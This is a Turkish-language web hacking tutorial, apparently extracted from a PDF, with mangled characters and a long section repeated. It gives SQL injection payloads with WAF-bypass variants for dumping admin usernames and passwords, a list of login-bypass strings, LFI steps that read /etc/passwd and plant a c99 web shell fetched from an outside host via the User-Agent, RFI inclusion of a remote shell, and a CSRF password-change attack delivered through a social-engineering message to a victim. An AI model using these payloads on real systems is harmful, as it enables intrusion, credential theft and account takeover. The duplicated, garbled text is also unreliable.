Kaynak kodlarında bu kısmı bu şekilde duumlzetip html uzantılı kaydediyoruzDaha sonra tekrar birtarayıcıda accedilıyoruz ve textlere lsquoa koyuruzLinkte wwwsitecomloginaspxkadi=rsquoaampsifre=rsquoaampSubmit=GF6nder şeklinde goumlzuumlkecektirwwwsitecomloginaspxkadi=arsquoa şekline SQL İnjection toolarıyla accedilığı kullanabilirsiniz
SQL İnjection saldırısını ve tuumlrlerini iliklerine kadar biliyorsunuz artık )
Şimdi sıra SQL Mod_Security order by union select komutların nasıl bypass edileceğini anlamayageldi
SQL İnjection Bypass
Merhaba arkadaşlar
Bu yazıda sizlere SQL İnjection da takıldığımız bize sorun ccedilıkaran bazı komutların bypass youmlntemlerinianlatmaya ccedilalışacağım Umarım yararlı olur
SQL İnjection lastik gibidir nereye ccedilekerseniz oraya gider Aynı şekilde sql injection bypassyoumlntemlerinde de bu olay boumlyledir
a)
Oumlncelikle sizlere baştan başlarsak order by komutunun nasıl bypass edileceğinden vekarşılaşabileceğimiz sorunlardan bahsedeyim
Order by komutunu sql injection saldırılarında kolon sayısı bulamak amacıyla kullanırız Ama bazenhedef sitede ki guumlvenlik duvarlarına takılır kalırız ve kullanmış olduğumuz komutu ccedilalıştıramaya biliriz
Burada hemen bypass devreye girmektedir Nasıl mı Bir Web Site duumlşuumlnuumln
wwwsayfamcomdosyaphpid=1rsquo yaptığımız vakit bize standart bir sql hatası verecektir
Burada sql accedilığı olduğunu anlarız Hemen order by komutu ile kolon sayısını oumlğrenmeye ccedilalışırız
wwwsayfamcomdosyaphpid=1+order+by+1-- fakat sayfadaki hata hala devam eder burada bypassdevreye girer Normal şartlarda order by 1 komutu ile sayfayı eski haline getirirken bu komutccedilalışmadı
Şimdi bunu nasıl bypass edeceğimizden bahsedelim SQL injection bypasslarin de genellikle specialchars dediğimiz oumlzel karakterler devreye girer Burada ki order by komutunu hep beraber bypassedelim
wwwsayfamcomsayfaphpid=1)+order+by--+ burada ki komutumuz da uumlstteki order by dan farklıolarak 1-2 oumlzel karakter kullandık + ve )
order+by+1mdashsonuna + koyduk
id=1 değerinin başına da ) koyduk
Tekrar sorguyu ccedilalıştırdığımızda sayfa eski haline doumlnecektirAyın şekilde
wwwsayfamcomsayfaphpid=1+order+by+1--
wwwsayfamcomsayfaphpid=1orderby1--
wwwsayfamcomsayfaphpid=1+(order)+(by)+1--
wwwsayfamcomsayfaphpid=1+order+by+1--
wwwsayfamcomsayfaphpid=1+order+by+1-- şeklinde bypassler soumlz konusu olabilir Kısacahepsi aynı goumlrevi goumlruumlyor buradaki bypass sizin hayal guumlcuumlnuumlze kalmıştır
b)
Bu sefer de union select komutunu gerccedilekleşen aksi bir durum da nasıl bypass edeceğimizigoumlstereceğim
Tekrar bir sayfa duumlşuumlnmenizi istiyorum O değilde bir şeyleri duumlşuumlnmenizi isteyince kendimi arefzannetim bir an )) Neyse şamatayı bırakalım işimize bakamlım tekrar bir site duumlşuumlnelim
wwwsayfamcomsayfaphpid=1rsquo koyduk sql hatamızı aldık
wwwsayfamcomsayfaphpid=1+order+by+1-- yaptık eski haline doumlnduuml sayfamız
wwwsayfamcomsayfaphpid=1+order+by+10-- yaptık hata aldık 9 yaptık hata almadık kolonsayımız 9 hellip
Şimdi ekrana kolon sayılarımızı yansıtma işlemine geccedilelim bunun iccedilin union select komutunukullanacağız
wwwsayfamcomsayfaphpid=1+union+select+123456789--
yaptık sayılar sayfaya yansımadı veya forbidden hatası verdi Şimdi ne yapacağız Tekrar aklımızaoumlzel karakterlerimizi getirerek mantığa uygun bir biccedilimde bypass girişimlerini yapalım
Bir bypass da kullanabileceğimiz bazı karakter oluşumları
---+-- -00Şimdi bunları kullanarak biraz oyun oynayalım ne dersiniz ))
İlk olarak
wwwsayfamcomsayfaphpid=1+union+select+123456789--
deneyelim Baktık ki sayfaya tekrar yansımadı Burada pes etmeyeceğiz demiştik sql injection lastikgibidir nereye ccedilekerseniz oraya gider diye Hayal guumlcuumlnuumlze goumlre karakterlerimizi tek tek yazalım vetekrar sorgulatalım bu iş iccedilin sabır gereklidir en sonunda istediğinizi alınca his edeceğiniz o sevinccedilduygusunu tarif edemem ))
wwwsayfamcomsayfaphpid=-1+unIoN+SeLecT+123456789--
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+(union+select+123456789--)
wwwsayfamcomsayfaphpid=-1unionselect123456789--+
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+unionampa=selectampa=123456789-- -
wwwsayfamcomsayfaphpid=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAA 1000 AdetAs)+UnIoN+SeLeCT+123456789--+
wwwsayfamcomsayfaphpid=1+UnioN+SELECT+123456789--
wwwsayfamcomsayfaphpid=1+(UnIoN)+(SelECT)+123456789--
wwwsayfamcomsayfaphpid=1+(UnIoN+SelECT)+123456789--
wwwsayfamcomsayfaphpid=1+(UnI)(oN)+(Sel)(ECT)+123456789--
wwwsayfamcomsayfaphpid=1+UnIon+SeLeCt+123456789--
şeklinde onlarca bypass teknikleri bulunmaktadır ))
c)
Evet arkadaşlar b) yan başlığında goumlrduumlğuumlmuumlz uumlzere union select komutunu bypass ettik ve karşımızakolon sayıları yansımıştır Biz 469 sayılarının yansıdıklarını farz ederek devam edelim
Şimdi sırada group_concat komutunun bypass edilmesinde
Tekrar bir web site hayal ediyoruz bu sefer union select ile sayılar ccedilekilmiş bir şekilde
wwwsayfacomsayfaphpid=-1+union+select+123456789--
ne demiştiş 469 yansımıştı 4 den devam edelim
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
şeklinde tablo isimlerini ccedilekmeye ccedilalıştık karşımıza forbidden veya farklı bir hata geldi
Group_concat bypass tipleride aynı mantıkla yapılır
group_concat()
grOUp_ConCat(user0x3epass)
group_concat(0x3c62723e)
şeklinde uygulamalar yapacağız
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
veya
wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name)56789+from+information_schematables+where+table_schema=database()--
ve
wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name hexlenmiş şekli)56789+from+information_schematables+where+table_schema=database()--
şeklinde bypasslar soumlz konusudur
d)
Şimdi sıra group_concat ile tablo isimlerini ccedilekecek iken karşımıza ccedilıkan forbidden hatasını aşmayageldi ))
Taktiklerimiz aynıdır tekrar aynı site ile devam edelim
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
şeklinde yaptık bize tablo isimlerini vermedi
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
yapıyoruz karşımıza tablo isimleri geliyor )) Mantığını anladığınız iccedilin kısa kesiyorum
e)
Şimdi sıra geldi ccedilektiğimiz tablo isimlerinin iccedilerisindeki suumltuumlnları sorgularken karşımıza gelen hatayınasıl aşabileceğimizden Ccedilektiğimiz tablo isimlerinden birisi admin olsun biz admin tablosununiccedilindeki kolonları yani suumltuumlnları alacağız şoumlyle bir sorgu duumlşuumlnuumln
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--
buradaki sorguda ne dedik ldquoAdmin tablosunun iccedilerisinde kolonları bize verrdquo
Sorguyu goumlnderiyoruz fakat bize kolonları vermiyor burada hex devreye girecek database() ve adminsorgusunu hexleyerek sorgu yapmayı deneyeceğiz
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=0x64617461626173652829+and+table_name=0x61646d696e--
Evet bu şekilde goumlnderdiğimiz sorguda kolon isimleri karşımıza geldi ))
Evet sql injection da bypass serisi burada sona eriyor Umarım anlatabilmişimdir sizde kolaylıklaanlamışsınızdır
Siz dediğimi unutmayın SQL İnjection lastik gibidir nereye ccedilekersek oraya gidicek
LFI(Local File İnclude)
1- Local File İnclude Nedir
LFI (Local File İnclude) Yerel dosya ccedilağırmak anlamına gelirBu accedilık şuanda bu o kadar guumlnceldeğildirAma bazı sitelerde nadir olarak goumlruumllebiliyorBen bu accedilıktan bahsetmeyecektim ama WebGuumlvenlik Accedilıkları denildiği zaman tuumlm WEB UYGULAMALARINI KapsıyorBu sebep yuumlzuumlndenbahsedeceğim
2- Local File İnclude Mantığı Nedir
LFI Accedilığının mantığı server uumlzerinde dosyaları okumaktırOumlrnek olarak etcpasswd dosyasındanbahsedeyimServerdaki tuumlm sitelerin USERrsquolarının bulunduğu dosyadırBu accedilık sayesinde Serverdakidosyaları okuma şansımız oluyor
3- Saldırı Anı (Accedilığın Tespiti)
Bir Web Sayfası duumlşuumlnuumln wwwsitecomsayfaphpid=2 şeklinde olsunBurada LFI Olup olmadığınışoumlyle anlayabiliriz
wwwsitecomsayfaphpid= yaptığımızda sayfada eğer bir SQL İnjection hatası veya dosyabulunamadı şeklinde bir hata varsa orada LFI OlabilirPeki Hata olarak nasıl bir hatadan bahsediyoruz
Bize verilen hatadan yola ccedilıkalım
Warning include() ldquohomeuserpublic_htmlsayfaphprdquo
Şeklinde bir hata alıyorsak LFI Vardır diyebiliriz
4- Saldırı Anı 2 (Accedilığın Kullanımı - Aksi Halde Bypass)
Ne demiştikSitemizde Warning include() ldquohomeuserpublic_htmlsayfaphprdquo şeklinde hata aldık
Accedilığı etcpasswd şeklinde etcpassword dosyasını okuyarak anlayabilirizFakat burada dizinsayısı oumlnemlidirHatada kaccedil adet dizin var bakalım
home -gt 1
user -gt 2
public_html -gt 3
sayfaphp -gt 4
Evet 4 Adet dizin mevcutturKoyacağımız işareti 4 adet olmalıdır
wwwsitecomsayfaphpid= etcpasswd şeklinde
-HTML Code
HTML kod ccedileviriciler mevcuttur internet uumlzerindeEncode edeceğimiz komut
Komut etcpasswd
Encode 2F2F2F2Fetc2Fpasswd
Tekrar deneyelim
wwwsitecomsayfaphpid=2F2F2F2Fetc2Fpasswd ve okumak istediğimizetcpasswd dosyasını okuduk
- CharCode
CharCode Mozillanın Hackbar Eklentisinde MevcutturŞimdi tekrardan bir bakalım
wwwsitecomsayfaphpid=etcpasswd şekline okumak istediğimizde tekrar okumuyorHTMLcode encode şeklinde yaptık gene başarısızŞimdi CharCode şeklinde yapacağız
Komut etcpasswd
CharCode StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101 116 99 47 11297 115 115 119 100)
Evet doumlnuumlştuumlrduumlkŞimdi tekrar bakalım
wwwsitecomsayfaphpid=StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101116 99 47 112 97 115 115 119 100)
Şeklinde okudukDosyamız başarılı bir şekilde okundu )
5- Saldırı Anı 3 (Accedilığı Kullanarak Siteye Dosya Yedirmek)
Accedilığın tespitinden bahsettikŞimdi bu accedilığı kullanarak dosya dahil edeceğizOumlnce mozillanın tamperdata eklentisini kurunDaha Tamper Data yı accedilınStartrsquoa tıklayın vewwwsitecomsayfaphpid=etcpasswd00 şeklinde sayfayı yenileyinOumlnuumlnuumlze gelen ilkuyarıya ldquoTAMPERrdquo Şeklinde cevap verinKarşınıza
Şeklinde bir panel gelecekUser-Agent Kısmındaki yazıları silin ve lt system(ldquocatwwwsitecomc99txt -O c99php ldquo) gt şeklinde Dosya adresinizi yazınYanlız dikkat edin yuumlklerkendosyayı txt uzantılı olmasına dikkat edinYazdıktan sonra tamam diyoruzVe dosyamız dahil edilmişoluyor
wwwsitecomc99php şeklinde ccedilagırabilirsiniz
6- Local File İnclude Nerelerde Tespit Edilebilir
a-) Search kutusu
Bir Search kutusu duumlşuumlnuumln
Buraya LFI Komutunu girip ara butonuna tıklayalım etcpasswd00 şeklinde
Eğer ekrana
Şeklinde komutumuz ccedilalışırsa bu demek oluyor ki Search dosyasında LFI Accedilığı mevcuttur
RFI(Remote File İnclude)1- Remote File İnclude Nedir
RFI(Remote File İnclude) Uzakdan dahil etmek anlamına gelirEskisi kadar olmasa da şuanda mevcutolan siteler var
2- Remote File İnclude Mantığı Nedir
Mantığı accedilık bulduğumuz siteye istediğimiz sitedeki bir dosyayı dahil etmektir
3- Saldırı Anı (Accedilığın Tespiti - Accedilığın Kullanımı - Aksi Halde Bypass)
Bir web sitesi duumlşuumlnuumln wwwsitecomdosyaphpid=2 olsunİd= değerinden sonraki 2 yi siliyoruz
wwwsitecomdosyaphpid= oluyorŞimdi burada accedilık olup olmaığını nasıl anlarız
Bir hostrsquoa dosyanızı txt uzantılı olarak atınDaha sonra sitede wwwsitecomdosyaphpid=httpwwwsitemcomc99txt şeklinde ccedilağırınEğer sayfada ccedilağırdığınızdosya ccedilalıştıysa accedilığı hem bulmuş hemde hazır hale getirmiş oluyorsunuz zaten
4- Remote File İnclude Nerelerde Tespit Edilebilir
a-Search kutusu
Bir Search (Arama) duumlşuumlnuumln
ŞeklindeBuraya httpsitecomc99txt şeklinde dosyanızın adresini txt uzantılı yazıp ara butonunatıkladığınızda eğer karşınıza dosya geliyorsa yani ccedilağırdığınız dosya burada RFI Accedilığı mevcutturBukadar basittir
CSRFXSRF (Cross-Site RequestForgery)
1-Oumlnsoumlz
XSRF CSRF Guumlvenlik zaafiyetleri guumlnuumlmuumlzde bir ccedilok yerde mevcutturCcedilok geniş kapsamlı bir accedilıkolmakla birlikte kullanımı da ccedilok kolaydır aslındaAma ccediloğu kimse karmaşık goumlruumlp hemen ipin ucunubırakmışlardırCcedilok yanlış ccediluumlnki bu yolda devam ederken tuumlm Web Application tuumlrlerini oumlğrenmek bizimyararımıza olurTabi misyon dahilinde
XSRF CSRF Accedilıkları aslında aynıdırYani XSRF ve CSRF diye ayrılması kafamızı karıştırmasın
2- Cross Site Request Forgery Nedir
Attacker bir web sitesinin kaynak koduna goumlmuumlluuml olan Javascript veya HTML Kodlarını uygun birexploit haline getirip kurbanın haberi olmadan session (oturum) bilgilerini elde etmesiyle olurBu accedilığısadece kurbanın şifrelerini almak diye bakmayalım ccediluumlnkuuml bu zaafiyet para transferi kredi kartıhırsızlıkları ve birccedilok koumltuuml emellere alet edilip milletin emeğini ccedilalabiliyorBurada yapılan tek şeykurbana goumlnderdiğimiz linke tıklamasıdır Kurban bunu yaparken olaylardan habersizdirTereyağındankıl ccedileker gibi bilgileri alır attacker
3- Cross-Site Request Forgery Nerelerde Kullanılır Ne İccedilin Kullanılır
Bu zaafiyet buumltuumln web applicationlarda bulunabilirYani ASPPHPHTML Sitelerde dahil olmak uumlzere
Yukarıda bahsettiğim gibi session bilgilerini ccedilalmak kredi kartı bilgilerini ccedilalmak ve bir ccedilok koumltuuml ameliccedilin kullanılır
4 Nasıl Kullanılır - Exploitlenir
Zaafiyeti exploitleme basittirHemen bir oumlrnekle devam edeyim
Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit
wwwsitecomforumpassworddegistirphpyenipassword=mahserat
Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım
Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde
Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir
Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım
Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana
NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek
Merhaba kardeşim
Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş
Uygulama httpmehmetkelepceorgdosyahtml
Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek
5- XSS ve CSRF Arasındaki Benzerlikler
CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır
Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(table_name)+from+informations_schematables+where+table_schema=database())3and lsquoxrsquo=rsquox
Yansıyan kolon sayısı 2 idiBizde 2 uumlzerinden işleme devam ettikNormal şartlardafrom+information sorgusu satırın sonunda iken burada tuumlm goumlrevi 2 kolona devrettikFakatunutmayalım Parantezler iccedilerisinde
Evet tablolar yansıdıOumlrnek olarak admin tablosunun yansıdığını farz edelim ve devam edelim
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(column_name)+from+informations_schemacolumns+where+table_schema=database()+and+table_name=rsquoadminrsquo)3 and lsquoxrsquo=rsquox
Evet admin tablosundaki sutuumlnları yani kolonları yansıttıkKolonlar emailidusernamepasswordolduğunu farz ediyoruz
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(usernamepassword)+from+rsquoadminrsquo)3 and lsquoxrsquo=rsquox
Şeklinde Kadı ve Şifreyi ccedilektik
e-) SQL İnjection Login Bypass
SQL İnjection Login Bypass ccedilok basit bir injection tuumlruumlduumlrWeb Sitelerindeki Login Kısımlarındameydana gelen bu accedilık birccedilok web sitesinde mevcutturBir admin panelini hedef alarak saldırıyabaşlayalım
Bu tarz bir login kısmı olduğunu farz edelimBurada Kullanıcı adını ve Şifresini bypass edeceğizPekinasıl
SQL İnjection da login panelleri iccedilin bypass kodları mevcutturBunlardan birkaccedilrsquoını vereyim sizlere
adminrsquomdash
rsquo or 0=0 --
rsquo or rsquo 1=1
rsquo or rsquo 1
rsquo or rsquo
or 0=0 --
or 0=0 --
rsquo or 0=0
or 0=0
or 0=0
rsquo or rsquoxrsquo=rsquox
or x=x
rsquo) or (rsquoxrsquo=rsquox
rsquo or 1=1--
or 1=1--
or 1=1--
rsquo or a=a--
or a=a
rsquo) or (rsquoarsquo=rsquoa
) or (a=a
hi or a=a
hi or 1=1 --
hirsquo or 1=1 --
hirsquo or rsquoarsquo=rsquoa
hirsquo) or (rsquoarsquo=rsquoa
hi)or(a=a
Bu kodlar sayesinde Login kısmını bypass edebilirizBu accedilık ccediloğu web sayfasındamevcutturGenellikle panel yolu adminadminphp olan web sitelerinde goumlzuumlme batmadı değilEvet birbakalım kendimize bir bypass kodu seccediliyoruz
lsquoORrsquo lsquo=rsquo kodunu seccediltimŞimdi gerekli text kısımlarına yazalım
Evet resimde goumlruumllduumlğuuml gibi Kullanıcı adı ve şifre kısmına kodumuzu yazdıkGiriş Yap diyoruz
Goumlruumllduumlğuuml uumlzere giriş başarılı oldu ) Evet Login bypass bu kadar basit bir mevzu
f-) PostData SQL İnjection
Bu injection tuumlruuml ASPNET sitelerde textboxlarda mevcut olan bir accedilıktırDiğer HTMLsitelerde ise ltinput type=rdquotextrdquo lsquolarda mevcut bir accedilık tuumlruumlduumlrCcedilok basittirNormal bir SQL İnjectionaccedilığıda sitede accedilık analizi yapma şeklimiz şuydu wwwsitecomsayfaphpid=1rsquo idiBurada adıuumlstuumlnde POSTDATA yani POST Methotlarının kullanıldığı yerlerde bu injection saldırısınıyapacağızPeki nasıl
Şimdi iki adet text kısmı duumlşuumlnuumln Kullanıcı adı ve Şifreden oluşan
ŞeklindeBurada 2 adet Text mevcutBuraya injection saldırısı yapacağızŞimdi goumlrduumlğuumlmuumlzTextlere Normal İnjectiondaki saldırılar gibi lsquo veya lsquoa karakterlerini ekliyoruz
Evet ekledikten sonra GOumlNDER botunona basıyoruzKarşımıza
Şoumlyle bir SQL İnjection hatası ccedilıkarsa bu login dosyasında SQL İnjection accedilığı mevcutturdiyebilirizŞimdi tekrar login kısmına geri doumlnuumlyoruz ve kaynak kodunu goumlster diyoruz
ltform name=t1 method=POST action=loginaspxgt
Kaynak kodundaki oumlnemli olan yer uumlstteki Method durYani goumlnderilen veri POST MethoduylagoumlnderilmelidirPOST lsquoun diğer Methodlardan farkı ise POSTrsquoun hızlı ve guumlvenilir olmasıdır
Peki bu accedilığı nasıl kullanacağız
Kaynak kodunu alıyoruz bir notepadrsquoa yapıştırıyoruzDaha sonra ltform name=t1 method=POSTaction=loginaspxgt Kodundaki POST Methodunu GET Methoduna ccedileviriyoruzDaha sonra loginaspxdosyasının tam yolunu belirtiyoruzYani
ltform name=rdquot1rdquo method=rdquoGETrdquo actionrdquohttpsitecomloginaspxrdquogt
Kaynak kodlarında bu kısmı bu şekilde duumlzetip html uzantılı kaydediyoruzDaha sonra tekrar birtarayıcıda accedilıyoruz ve textlere lsquoa koyuruzLinkte wwwsitecomloginaspxkadi=rsquoaampsifre=rsquoaampSubmit=GF6nder şeklinde goumlzuumlkecektirwwwsitecomloginaspxkadi=arsquoa şekline SQL İnjection toolarıyla accedilığı kullanabilirsiniz
SQL İnjection saldırısını ve tuumlrlerini iliklerine kadar biliyorsunuz artık )
Şimdi sıra SQL Mod_Security order by union select komutların nasıl bypass edileceğini anlamayageldi
SQL İnjection Bypass
Merhaba arkadaşlar
Bu yazıda sizlere SQL İnjection da takıldığımız bize sorun ccedilıkaran bazı komutların bypass youmlntemlerinianlatmaya ccedilalışacağım Umarım yararlı olur
SQL İnjection lastik gibidir nereye ccedilekerseniz oraya gider Aynı şekilde sql injection bypassyoumlntemlerinde de bu olay boumlyledir
a)
Oumlncelikle sizlere baştan başlarsak order by komutunun nasıl bypass edileceğinden vekarşılaşabileceğimiz sorunlardan bahsedeyim
Order by komutunu sql injection saldırılarında kolon sayısı bulamak amacıyla kullanırız Ama bazenhedef sitede ki guumlvenlik duvarlarına takılır kalırız ve kullanmış olduğumuz komutu ccedilalıştıramaya biliriz
Burada hemen bypass devreye girmektedir Nasıl mı Bir Web Site duumlşuumlnuumln
wwwsayfamcomdosyaphpid=1rsquo yaptığımız vakit bize standart bir sql hatası verecektir
Burada sql accedilığı olduğunu anlarız Hemen order by komutu ile kolon sayısını oumlğrenmeye ccedilalışırız
wwwsayfamcomdosyaphpid=1+order+by+1-- fakat sayfadaki hata hala devam eder burada bypassdevreye girer Normal şartlarda order by 1 komutu ile sayfayı eski haline getirirken bu komutccedilalışmadı
Şimdi bunu nasıl bypass edeceğimizden bahsedelim SQL injection bypasslarin de genellikle specialchars dediğimiz oumlzel karakterler devreye girer Burada ki order by komutunu hep beraber bypassedelim
wwwsayfamcomsayfaphpid=1)+order+by--+ burada ki komutumuz da uumlstteki order by dan farklıolarak 1-2 oumlzel karakter kullandık + ve )
order+by+1mdashsonuna + koyduk
id=1 değerinin başına da ) koyduk
Tekrar sorguyu ccedilalıştırdığımızda sayfa eski haline doumlnecektirAyın şekilde
wwwsayfamcomsayfaphpid=1+order+by+1--
wwwsayfamcomsayfaphpid=1orderby1--
wwwsayfamcomsayfaphpid=1+(order)+(by)+1--
wwwsayfamcomsayfaphpid=1+order+by+1--
wwwsayfamcomsayfaphpid=1+order+by+1-- şeklinde bypassler soumlz konusu olabilir Kısacahepsi aynı goumlrevi goumlruumlyor buradaki bypass sizin hayal guumlcuumlnuumlze kalmıştır
b)
Bu sefer de union select komutunu gerccedilekleşen aksi bir durum da nasıl bypass edeceğimizigoumlstereceğim
Tekrar bir sayfa duumlşuumlnmenizi istiyorum O değilde bir şeyleri duumlşuumlnmenizi isteyince kendimi arefzannetim bir an )) Neyse şamatayı bırakalım işimize bakamlım tekrar bir site duumlşuumlnelim
wwwsayfamcomsayfaphpid=1rsquo koyduk sql hatamızı aldık
wwwsayfamcomsayfaphpid=1+order+by+1-- yaptık eski haline doumlnduuml sayfamız
wwwsayfamcomsayfaphpid=1+order+by+10-- yaptık hata aldık 9 yaptık hata almadık kolonsayımız 9 hellip
Şimdi ekrana kolon sayılarımızı yansıtma işlemine geccedilelim bunun iccedilin union select komutunukullanacağız
wwwsayfamcomsayfaphpid=1+union+select+123456789--
yaptık sayılar sayfaya yansımadı veya forbidden hatası verdi Şimdi ne yapacağız Tekrar aklımızaoumlzel karakterlerimizi getirerek mantığa uygun bir biccedilimde bypass girişimlerini yapalım
Bir bypass da kullanabileceğimiz bazı karakter oluşumları
---+-- -00Şimdi bunları kullanarak biraz oyun oynayalım ne dersiniz ))
İlk olarak
wwwsayfamcomsayfaphpid=1+union+select+123456789--
deneyelim Baktık ki sayfaya tekrar yansımadı Burada pes etmeyeceğiz demiştik sql injection lastikgibidir nereye ccedilekerseniz oraya gider diye Hayal guumlcuumlnuumlze goumlre karakterlerimizi tek tek yazalım vetekrar sorgulatalım bu iş iccedilin sabır gereklidir en sonunda istediğinizi alınca his edeceğiniz o sevinccedilduygusunu tarif edemem ))
wwwsayfamcomsayfaphpid=-1+unIoN+SeLecT+123456789--
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+(union+select+123456789--)
wwwsayfamcomsayfaphpid=-1unionselect123456789--+
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+unionampa=selectampa=123456789-- -
wwwsayfamcomsayfaphpid=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAA 1000 AdetAs)+UnIoN+SeLeCT+123456789--+
wwwsayfamcomsayfaphpid=1+UnioN+SELECT+123456789--
wwwsayfamcomsayfaphpid=1+(UnIoN)+(SelECT)+123456789--
wwwsayfamcomsayfaphpid=1+(UnIoN+SelECT)+123456789--
wwwsayfamcomsayfaphpid=1+(UnI)(oN)+(Sel)(ECT)+123456789--
wwwsayfamcomsayfaphpid=1+UnIon+SeLeCt+123456789--
şeklinde onlarca bypass teknikleri bulunmaktadır ))
c)
Evet arkadaşlar b) yan başlığında goumlrduumlğuumlmuumlz uumlzere union select komutunu bypass ettik ve karşımızakolon sayıları yansımıştır Biz 469 sayılarının yansıdıklarını farz ederek devam edelim
Şimdi sırada group_concat komutunun bypass edilmesinde
Tekrar bir web site hayal ediyoruz bu sefer union select ile sayılar ccedilekilmiş bir şekilde
wwwsayfacomsayfaphpid=-1+union+select+123456789--
ne demiştiş 469 yansımıştı 4 den devam edelim
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
şeklinde tablo isimlerini ccedilekmeye ccedilalıştık karşımıza forbidden veya farklı bir hata geldi
Group_concat bypass tipleride aynı mantıkla yapılır
group_concat()
grOUp_ConCat(user0x3epass)
group_concat(0x3c62723e)
şeklinde uygulamalar yapacağız
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
veya
wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name)56789+from+information_schematables+where+table_schema=database()--
ve
wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name hexlenmiş şekli)56789+from+information_schematables+where+table_schema=database()--
şeklinde bypasslar soumlz konusudur
d)
Şimdi sıra group_concat ile tablo isimlerini ccedilekecek iken karşımıza ccedilıkan forbidden hatasını aşmayageldi ))
Taktiklerimiz aynıdır tekrar aynı site ile devam edelim
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
şeklinde yaptık bize tablo isimlerini vermedi
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
yapıyoruz karşımıza tablo isimleri geliyor )) Mantığını anladığınız iccedilin kısa kesiyorum
e)
Şimdi sıra geldi ccedilektiğimiz tablo isimlerinin iccedilerisindeki suumltuumlnları sorgularken karşımıza gelen hatayınasıl aşabileceğimizden Ccedilektiğimiz tablo isimlerinden birisi admin olsun biz admin tablosununiccedilindeki kolonları yani suumltuumlnları alacağız şoumlyle bir sorgu duumlşuumlnuumln
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--
buradaki sorguda ne dedik ldquoAdmin tablosunun iccedilerisinde kolonları bize verrdquo
Sorguyu goumlnderiyoruz fakat bize kolonları vermiyor burada hex devreye girecek database() ve adminsorgusunu hexleyerek sorgu yapmayı deneyeceğiz
